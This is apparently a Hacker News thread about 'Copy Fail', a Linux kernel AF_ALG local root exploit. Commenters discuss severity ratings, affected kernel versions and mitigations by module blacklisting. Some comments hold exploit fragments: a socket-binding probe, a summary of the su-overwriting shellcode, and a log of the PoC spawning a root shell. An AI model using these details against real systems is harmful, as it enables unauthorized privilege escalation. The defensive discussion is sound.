Copy Fail (copy.fail)
1048 points by unsnap_biceps 17 hours ago
ebiggers 12 hours ago
As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt).
The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.
If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.
I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
still_grokking 11 hours ago
As I did not know what AF_ALG is in the first place I've searched for it and found this here:
https://www.chronox.de/libkcapi/html/ch01s02.html
It states the following:
> There are several reasons for AF_ALG:
> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.
> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.
I can't judge whether this is a good justification, but there is one.
p_l 4 hours ago
AF_ALG if I remember correctly predates userspace-accessible crypto acceleration and was way more important back when it meant you had actual need for "SSL accelerator" cards in servers, among other things
ryukoposting an hour ago
Hi, embedded firmware engineer here. I give it a B-
There's a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you've got the right nerd running the show.
So you have serious compute needs, and security concerns that justify virtual memory. But you don't have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.
And yet, I've never heard of AF_ALG. I've never seen it used. The thing is, if you have some bizzaro softcore, there's a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you're going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn't have a gigantic attack surface.
buckle8017 10 hours ago
You should take note that this is written by the person that wrote the bad patch.
So grain of salt.
still_grokking 10 hours ago
asveikau 8 hours ago
mihaaly 3 hours ago
buredoranna 9 hours ago
Please don't rely on my judgement for this being safe for production, but after blacklisting the modules, the provided python exploit failed.
Check if the following are modules
grep CONFIG_CRYPTO_USER_API /boot/config-$(uname -r)
If they are, you can try blacklisting them /etc/modprobe.d/blacklist-crypto-user-api.conf
"""
blacklist af_alg
blacklist algif_hash
blacklist algif_skcipher
blacklist algif_rng
blacklist algif_aead
install af_alg /bin/false
install algif_hash /bin/false
install algif_skcipher /bin/false
install algif_rng /bin/false
install algif_aead /bin/false
"""
update-initramfs -u
Can anyone comment on the ramifications this?ebiggers 9 hours ago
If iwd, or cryptsetup with certain non-default algorithms, isn't being used on the system, you should be fine. Not many programs use AF_ALG. It's possible there are others I'm not aware of, but it's quite rare.
To be clear, general-purpose Linux distros generally can't disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don't need this functionality.
A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.
400thecat 7 hours ago
strenholme 7 hours ago
I can’t comment on the ramifications, except to note that elsewhere in the thread this appears to not break anything (whether it makes userspace crypto a little less safe is academic, but that doesn’t matter if we have an easy local root shell), but I can verify the above fix does protect Ubuntu 24.04 from the exploit.
Just reboot after applying this change.
Milpotel 5 hours ago
Or
zgrep CONFIG_CRYPTO_USER_API /proc/config.gzglobular-toast 4 hours ago
Is it built as a module in most distros?
alpn 11 hours ago
For anyone wondering: AF_ALG is a Linux socket interface that exposes the kernel’s crypto API via file descriptors, using normal read(2)/write(2) calls for hashing and encryption.
dnnddidiej 8 hours ago
I wonder can the kernel just remove it and distros put on a compatiability layer.
TheDong 7 hours ago
SeriousM 5 hours ago
I was completely unaware of https://syzbot.org, thanks for sharing!
> syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to [email protected].
m3nu 16 minutes ago
What other kernel modules would you suggest disabling that aren't used usually?
l1k 8 hours ago
It does enable address space separation of secret keys from user space, which some people love:
https://blog.cloudflare.com/the-linux-kernel-key-retention-s...
https://www.youtube.com/watch?v=7djRRjxaCKk
https://www.youtube.com/watch?v=lvZaDE578yc
So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space.
Disclosure: I'm co-maintaining crypto/asymmetric_keys/ in the kernel and the author/presenter in the first two links is another co-maintainer.
ebiggers 8 hours ago
That can be done in userspace too -- different userspace processes have different address spaces too.
The fact that the first link recommends using keyctl() for RSA private keys is also "interesting", given that the kernel's implementation of RSA isn't hardened against timing attacks (but userspace implementations of RSA typically are).
ngomez 7 hours ago
l1k 7 hours ago
400thecat 3 hours ago
can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
l1k 3 hours ago
XorNot 2 hours ago
eqvinox 9 hours ago
The primary benefit of AF_ALG is IMHO when it's combined with kernel keyrings, i.e. ALG_SET_KEY_BY_KEY_SERIAL.
To steal from the sibling post:
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]
It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.
[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]
[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]
ebiggers 9 hours ago
It doesn't seem to actually get used that way in practice. ALG_SET_KEY_BY_KEY_SERIAL didn't even appear until just a few years ago. And either way, if the interface allows you to overwrite the su binary, whether it theoretically could provide some other security benefit becomes kind of irrelevant.
eqvinox 8 hours ago
angry_octet 9 hours ago
Better implemented as another user space process than in the kernel.
eqvinox 9 hours ago
dev_l1x_be an hour ago
Why is this available in the kernel on a box that does not use ipsec? should this be compile time enabled module instead than a generic solution?
ButlerianJihad an hour ago
The design philosophy of mainstream Linux distros is not like OpenBSD.
Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.
All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.
With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed.
The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.
There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
KnuthIsGod 6 hours ago
Removing this will make the friendly spooks at NSA very sad....
tosti 6 hours ago
I think it would be reasonable to deprecate af_alg in favor of a character device. It's more accessible that way. The downside is that the maintainers hate adding new ioctls. I think that's fair. But I don't think a "regular" device node would cover the functionality userland expects.
That said, elsewhere ITT it's pointed out there are only a few use cases so far.
Fr0styMatt88 11 hours ago
How did it get in? Isn’t Linus known for being rightfully fussy about what makes it into the kernel?
Would be an interesting story.
kasabali 5 hours ago
Linus has had been fussy about maybe like 5% of the things because even then he couldn't keep up with the sheer volume. Nowadays it's more like 1‰
anabis 7 hours ago
Many things, such as ksmbd seems ill-advised when looked at from security. New AI driven exploits era will likely make projects more wary to adding functions.
400thecat 3 hours ago
can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum
sidewndr46 11 hours ago
any idea what software this will break once I turn this kernel configuration off?
ebiggers 10 hours ago
iwd is the main culprit (for systems that use it instead of wpa_supplicant).
I think cryptsetup / LUKS also requires it with some non-default options. With the default options, it works fine with the kconfigs disabled.
There's not much else, as far as I know. Normally programs just use a userspace library instead, such as OpenSSL.
xeeeeeeeeeeenu 16 hours ago
It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros.
https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"
https://security-tracker.debian.org/tracker/CVE-2026-31431
MarleTangible 16 hours ago
Seems like distros consider it a medium risk because it doesn't involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority.
https://ubuntu.com/security/cves/about#priority
> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
oskarkk 16 hours ago
Strange that it's not classified as "high", which specifically includes "local root privilege escalations".
> High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
amarant 14 hours ago
markhahn 7 hours ago
if your model is that linux is just about single-user desktops, this local exploit isn't too bad. or if your model is nothing but DB servers or the like.
mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.
but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress/etc to drop and execute a script? yep.
CGamesPlay 5 hours ago
dwedge 3 hours ago
Local access is a bit of a misnomer though, a vulnerable website can be tricked into running a script
daveoc64 14 hours ago
Ubuntu seems to have updated the page to say that it's a high priority now.
mghackerlady 14 hours ago
it's not like this couldn't be chained with some other exploit to get remote access to get remote root access which seems like a bit of an issue
staticassertion 11 hours ago
It was already known to attackers (or basically anyone watching) weeks ago when the patch hit the kernel but it wasn't communicated by upstream as a vuln (because Linus and Greg do not believe that vulnerabilities are conceptually relevant to the kernel).
still_grokking 11 hours ago
Will this continue like that even when the prophesied Mythos Vulnocalypse hits the Kernel?
This stance doesn't seem sustainable any more to me.
staticassertion 11 hours ago
wangman 13 hours ago
RedHat has also changed it to "Important severity" and "Affected" now.
Neil44 3 hours ago
I thought that. surely people are going crazy right now owning anything with an our of date Wordpress exposed.
Tuna-Fish 16 hours ago
Yeah, by ubuntu's own guidelines linked on that page, this should be priority: high, but instead it's marked as medium.
no-name-here 9 hours ago
That was fixed, it’s now marked high.
arcfour 11 hours ago
It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod...
I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:
...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237
...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Hope that helps.hnarn 6 hours ago
most distros backport fixes which does not increment that version number. i.e. they patch it, they do not ship a completely new kernel release.
jeffwass 5 hours ago
This submission is currently the main HN submission.
As of now the submission title is simply “Copy Fail”.
Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?
Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
ramon156 4 hours ago
I dont really get why you'd
- buy a domain
- vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong)
- post it on HN with no further explanation in the title
Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??
Sorry if this comes over as salty, I guess I'm just not getting the thought process.
petcat 9 minutes ago
> I dont really get why you'd buy a domain [...] Even a tweet makes much more sense in my head than this
I think we should be celebrating people hosting their own content on their own website instead of just posting on some social media site.
stingraycharles 3 hours ago
I think they’re using it to promote their product, Xint Code, which was used to discover it. That’s the way I read it anyway.
eddythompson80 4 hours ago
Maybe it’s tradition https://news.ycombinator.com/item?id=7548991
staticassertion 2 hours ago
Where would you have them write a detailed report if not a website?
throwaway5465 an hour ago
The domain is canonical.
Then it's syndicate everywhere.
But all roads lead back to the domain.
vntok 3 hours ago
Definitely comes over as salty. Naming major flaws has been a tradition for decades. Remember Heartbleed? It had a site and a logo :) Shellshock, Meltdown, Spectre as well. A few more: https://github.com/hannob/vulns
This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.
Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.
nh2 15 hours ago
If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'
Similarly, when the mitigation is in place, modprobe algif_aead
should fail with an error.archon810 4 hours ago
modprobe algif_aead
modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168
Yet this kernel is vulnerable.Sophira an hour ago
That would suggest that CRYPTO_USER_API_AEAD=y in your kernel config. You can disable it in that case by setting that to "n", recompiling your kernel, and putting the new kernel in place.
RandomGerm4n 2 hours ago
That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.
dontdoxxme 22 minutes ago
No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.
hackernudes 14 hours ago
LPE = local privilege escalation
Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
arcfour 11 hours ago
LPE is a very well-known acronym within the security community, it's not purely academic or obscure or anything.
I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.
Then again, the whole writeup appears to be AI-generated, so...
globular-toast 4 hours ago
Sure, but the target audience of copy.fail is surely not the security community but regular sysadmins who probably don't otherwise follow as closely.
jjordan 14 hours ago
Good writing for a broad audience requires it. Unfortunately the LLMs don't tend to adopt this guideline.
boston_clone 13 hours ago
it’s a CVE write up; the audience for these knows what an LPE is.
acdha 12 hours ago
hackernudes 12 hours ago
no-name-here 9 hours ago
ButlerianJihad 8 hours ago
To be fair, I just consulted 3 cybersecurity glossaries (SANS.org, NIST CSRC, Huntress), and none of them list "LPE" nor "Local Privilege Escalation".
If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.
1970-01-01 11 hours ago
I don't know why, but newer writers have never been taught to expand their acronyms on first use. I blame the US education system.
jesse_dot_id 13 hours ago
Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.
chromacity 12 hours ago
I don't see what the issue is, my agent is already running as root.
dnnddidiej 8 hours ago
Yeah it has all the government logins and full gmail access. It will be too busy to bother rooting the local machine!
latentsea 6 hours ago
ryandrake 11 hours ago
Good thing we haven't normalized installing things with curl | sh
still_grokking 11 hours ago
Yeah, that's great!
Imagine we would download random code from the internet and just execute it, like with NPM, PIP, Maven, Cargo etc.
om8 10 hours ago
dawnerd 9 hours ago
Or npm being allowed to run arbitrary post install scripts
Semaphor 8 hours ago
I don’t think that matters as it’s usually curl | sudo sh
FlyThruTheSun 11 hours ago
I literally ship an installer that runs with curl | bash... reading this thread while patching my servers is a fun experience lol
ilaksh 8 minutes ago
Does this affect my Hetzner VPSs running Ubuntu probably? Or Nebius H200 VMs?
They are probably Ubuntu 24 but don't remember.
phreack 17 hours ago
The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.
2001zhaozhao 13 hours ago
This is pretty obviously an advertisement but it's a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.
angry_octet 13 hours ago
These guys don't need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.
tkgally 12 hours ago
Side comment: I have recently used Claude Code to make a few sites for testing purposes. In the prompt I added "don't make it look vibe coded," and it worked pretty well: No purple gradients, bento box layouts, etc. Nothing spectacularly original, either, but probably enough to avoid accusations of vibe coding.
x4132 11 hours ago
it's advertising their AI, not the talents of their humans :D
angry_octet 10 hours ago
m3nu 13 hours ago
I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module.
So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.
https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
byron3256 11 hours ago
How about blacklisting algif_aead initialization function on RHEL 9/10? I added "initcall_blacklist=algif_aead_init" to the kernel boot options and rebooted. The exploit is not working anymore.
m3nu 4 hours ago
Good idea. Added to the playbook for RHEL only.
On Debian normal unloading of the module works.
yrro 2 hours ago
FYI RHEL's SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.
pkoiralap 12 hours ago
I was coming up with the same intuition. However, it's like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?
chucky_z 12 hours ago
https://www.freedesktop.org/software/systemd/man/latest/syst...
`/etc/systemd/system/service.d/${...}.conf`
I think this is what you're looking for.
embedding-shape 17 hours ago
For mitigation, the page currently basically just says:
> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
nh2 16 hours ago
On a git repo that has as remotes
https://github.com/torvalds/linux.git
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:
running a search for commit a664bf3d603d's commit message: git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u
outputs these tags as having the fix: v6.18.22
v6.18.23
v6.18.24
v6.18.25
v6.19.12
v6.19.13
v6.19.14
v7.0
v7.0.1
v7.0.2
v7.0-rc7
v7.1-rc1bombcar 13 hours ago
Here's the diff if you wanna play in your source (Gentoo, looking at you):
https://github.com/torvalds/linux/commit/a664bf3d603d
6.18.25-gentoo-x86_64 has the patch for Gentoo.
rcxdude 13 hours ago
distros might also apply patches to their own packages, so this isn't a perfect signal (i.e. if you have one of those versions, you almost certainly have the fix, but if you don't, it might still be fixed but you'll need to check the distro's package information to know for sure).
kro 17 hours ago
Major os vendors will publish pages with the fixed versions:
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/CVE-2026-31431
Also, disabling algif_aead is suggested as mitigation
1p09gj20g8h 16 hours ago
Where are you seeing the disabling algif_aead mitigation?
oskarkk 16 hours ago
progval 16 hours ago
So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace).
I ran the exploit in rootless Podman, and predictably it doesn't escape the container.
They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
john_strinlai 16 hours ago
>The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container
they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.
"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."
tjbecker 15 hours ago
This is correct. The container escape exploit and writeup is not yet released.
dnnddidiej 8 hours ago
tardedmeme 13 hours ago
It overwrites bytes in memory of any file you can read. It's not hard to imagine how it could escape a lot of things.
layer8 16 hours ago
The 2017 claim is based on the vulnerability having been introduced in this commit in the second half of 2017: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/lin...
The details will depend on whether the kernel is a newer release or a maintenance version of an older release.
Twirrim 14 hours ago
> They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
They've done themselves no favours at all with their write up.
It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.
For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.
x4132 11 hours ago
i mean, it doesn't work on any SELinux, but it's still quite severe anyhow
yrro 3 hours ago
rcxdude 16 hours ago
If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It's a PoC, not a full exploit for every situation.
CGamesPlay 9 hours ago
It's worth pointing out that you cannot, definitionally, get "real UID 0" in a "rootless" container, because then it wouldn't be a rootless container. This is relevant because this exploit doesn't claim to be able to bypass user namespaces, and that getting "real UID 0" would be a different exploit.
CGamesPlay 9 hours ago
Kubernetes 1.33 switches to user namespaces enabled by default, which I imagine is the same underlying mechanism that rootless Podman uses. `hostUsers: false` is the way to ensure that root in the pod is root on the host. It's trivial for a real (unmapped) root to escape a Kubernetes pod.
amusingimpala75 16 hours ago
Their PoC does as you say, but is built upon arbitrary modification of the page cache, which could be abused for the other things
progval 16 hours ago
Ah indeed, it can be used to overwrite the page cache for files on read-only volumes.
microtherion 15 hours ago
It also doesn't work on Raspberry Pi, though presumably it could easily be made to; it does replace the su binary, but the replacement is not executable.
unsnap_biceps 15 hours ago
It's patching the binary in memory, so the binary patch would be architecture dependent. The existing one is only x86_64, but with an updated payload, it would work on arm.
x4132 11 hours ago
this is because the `su` binary is replaced with x86 shellcode, replace it with aarch64 and it will work just the same.
embedding-shape 16 hours ago
Did you try it on systems that don't have the patch already? Seems many distributions already shipped kernels with the patch ~a month ago.
progval 16 hours ago
Yes. Alpine in rootless Podman doesn't work (after replacing "/usr/bin/su" with "/bin/su" in the .py, running the .py just doesn't do anything) while it does in Debian in rootless Podman on the same host.
x4132 11 hours ago
there is a PoC floating around for Alpine.
giis 10 hours ago
As soon as I read this
>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root
jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.
Then I tested with local laptop with it:
```
$ uname -a
Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux
$ python3 copy_fail_exp.py
# cd /root && ls
bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap
```
It does provide the root access!
m-ueberall 6 hours ago
I also tested this on an Ubuntu 24.04 (x86_64) host w/ GA kernel ("6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux") and wasn't able to reproduce the "problem", although `canonical-livepatch` tells me that there are currently "no livepatches available".
not_your_vase 17 hours ago
Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice
progval 17 hours ago
The binary "zip" isn't the exploit, it's the shellcode. The exploit is the rest, which changes the code of a SUID executable (su).
tgies 11 hours ago
I have a C translation here that should be pretty readable https://github.com/tgies/copy-fail-c
stackghost 15 hours ago
The call to zlib basically overwrites a minimal ELF into a portion of the `su` binary, which exceve's /bin/sh.
Sophira an hour ago
To be specific, the zlib'd binary basically does this (except that it directly uses Linux syscalls to do so rather then C wrappers):
setuid(0);
execve("/bin/sh", NULL, NULL);
exit(0);dgellow 17 hours ago
That’s the most AI-written page ever made
collinmanderson 16 hours ago
Yes. So cringy.
tjbecker 15 hours ago
For this crowd, I highly suggest checking out the technical writeup
belkinpower 13 hours ago
This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.
rkeene2 14 hours ago
I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).
miniBill 12 hours ago
Don't you have like, a sudo in /run/wrappers/bin?
EDIT: Sorry, I failed at reading your message. Never mind.
skilled 17 hours ago
This looks like an extraordinary find at first glance.
Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
barbegal 17 hours ago
Yes I would imagine lots of those type of services would be vulnerable if they hadn't updated to the latest kernel versions.
stackghost 17 hours ago
As of this comment, Debian Stable ("Trixie", though I hate codenames) doesn't have a fix in place and remains vulnerable, or at least their CVE tracker shows it as such:
bananamogul 16 hours ago
rkeene2 15 hours ago
Interestingly it fails for me because my `su` isn't world-readable:
$ stat /bin/su
File: /bin/su
Size: 59552 Blocks: 118 IO Block: 59904 regular file
Device: 0,52 Inode: 796854 Links: 1
Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-09-18 13:23:03.117105665 -0500
Modify: 2021-02-13 05:15:56.000000000 -0600
Change: 2023-09-18 13:23:03.119105665 -0500
Birth: 2023-09-18 13:23:03.117105665 -0500
I'm not sure I have any setuid/setgid binaries that are world-readable...rkeene2 15 hours ago
A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.
hashstring 14 hours ago
Eh, if you can pollute page caches this won’t safe you.
Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
rkeene2 14 hours ago
zerocrates 15 hours ago
It being readable is the default configuration most places, after all the purpose is to call it from a non-privileged user. But I could see it being made non-readable since its use is discouraged nowadays... though then I'd expect sudo to be readable as an alternative.
rkeene2 14 hours ago
My `sudo` is also not readable. Files/directories don't need to be readable to be executed. I can still use `su` and `sudo`.
bblb 17 hours ago
What is "RHEL 14.3"? Was this site a one shot prompt. Quality.
layer8 17 hours ago
Sohcahtoa82 13 hours ago
Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")
layer8 13 hours ago
What kernel version is it? (`uname -r`)
jzb 17 hours ago
This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.
oskarkk 15 hours ago
14.3 seems to come from some Red Hat-specific GCC version, which can be reported as "gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)". See these random examples I found by googling:
https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)
https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
bryanlarsen 16 hours ago
On the same line it says kernel version 6.12.0-124.45.1.el10_1. Which is RHEL 10. This is the kind of typo that humans make -- the hard to type numbers are accurate because they're cut and pasted, but the "easy" numbers have errors because they're not cut and pasted.
tylerni7 15 hours ago
ugh sorry should be fixed. There was some scrambling to get more info together to explain the issue (and yes, obviously marketing), so there are some minor mistakes. Thanks for pointing it out!
justinclift 14 hours ago
> obviously marketing
Why marketing though?
tylerni7 13 hours ago
Sohcahtoa82 13 hours ago
cozzyd 11 hours ago
yeah, I assumed the whole thing was AI slop when I saw EL14...
tjbecker 8 hours ago
https://x.com/i/status/2049687923814281351
> and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!
corvad 17 hours ago
If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
Tuna-Fish 16 hours ago
I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.
Avamander 16 hours ago
Can Livepatch mitigate this or is it already? I don't know where to look this up.
Tuna-Fish 15 hours ago
ranger_danger 14 hours ago
As far as mainline goes, only 7.0 and up have the patch already.
rany_ 17 hours ago
Could this be used to root Android devices? Does Android ship with algif_aead?
alufers 15 hours ago
I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
